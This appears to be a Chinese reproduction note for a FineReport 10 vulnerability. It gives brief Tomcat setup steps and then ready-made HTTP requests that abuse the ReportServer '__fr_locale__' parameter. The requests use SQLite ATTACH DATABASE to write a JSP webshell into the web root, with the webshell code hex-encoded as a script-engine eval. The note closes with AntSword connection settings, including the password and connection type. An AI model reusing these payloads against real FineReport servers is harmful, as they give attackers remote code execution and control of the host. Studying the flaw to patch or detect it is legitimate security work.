环境搭建
从官网上下载环境
https://www.finereport.com/product/download/redirect?version=windows_x64_10.0&token=ydxWtxnCPbX3
安装好后，将webapps
目录中 webroot目录
的复制到 tomcat3
中的webapps目录中
接着启动运行 tomcat
接着运行 apache-tomcat-8.5.87\bin\startup.bat
就成功搭建环境了
第一次运行 先访问 http://127.0.0.1:8080/webroot/decision
要设置密码，默认内置和外置数据库
本地测试报错
配置tomcat server.xml
添加 relaxedQueryChars="[]|{}^\`"<>"
GET /webroot/decision/view/ReportServer?test\=&n\=${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Fasd1.jsp%27%20as%20asd1%3B'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20asd1.exp2%28data%20text%29%3B'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20asd1.exp2%28data%29%20VALUES%20%28%27123%27%29%3B'),1,1)} HTTP/1.1
Host: 127.0.0.1:8080
本地测试写webshell
/webroot/decision/view/ReportServer?test\=s&n\=${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('•ATTACH DATABASE '../webapps/webroot/aaa.jsp' as gggggg;'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('•CREATE TABLE gggggg.exp2(data text);'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('•INSERT INTO gggggg.exp2(data) VALUES (x'247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d');'),1,1)}
GET /webroot/decision/view/ReportServer?test\=&n\=/webroot/decision/view/ReportServer?test\=s&n\=${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Fhelp.jsp%27%20as%20teeeee%3B'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20teeeee.exp2%28data%20text%29%3B'),1,1)}${\_\_fr\_locale\_\_\=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20teeeee.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: 127.0.0.1:8080
蚁剑进行连接，添加get参数?a=javax.script.ScriptEngineManager，蚁剑连接密码为b，连接类型选择JSPJS
参考
相关推荐
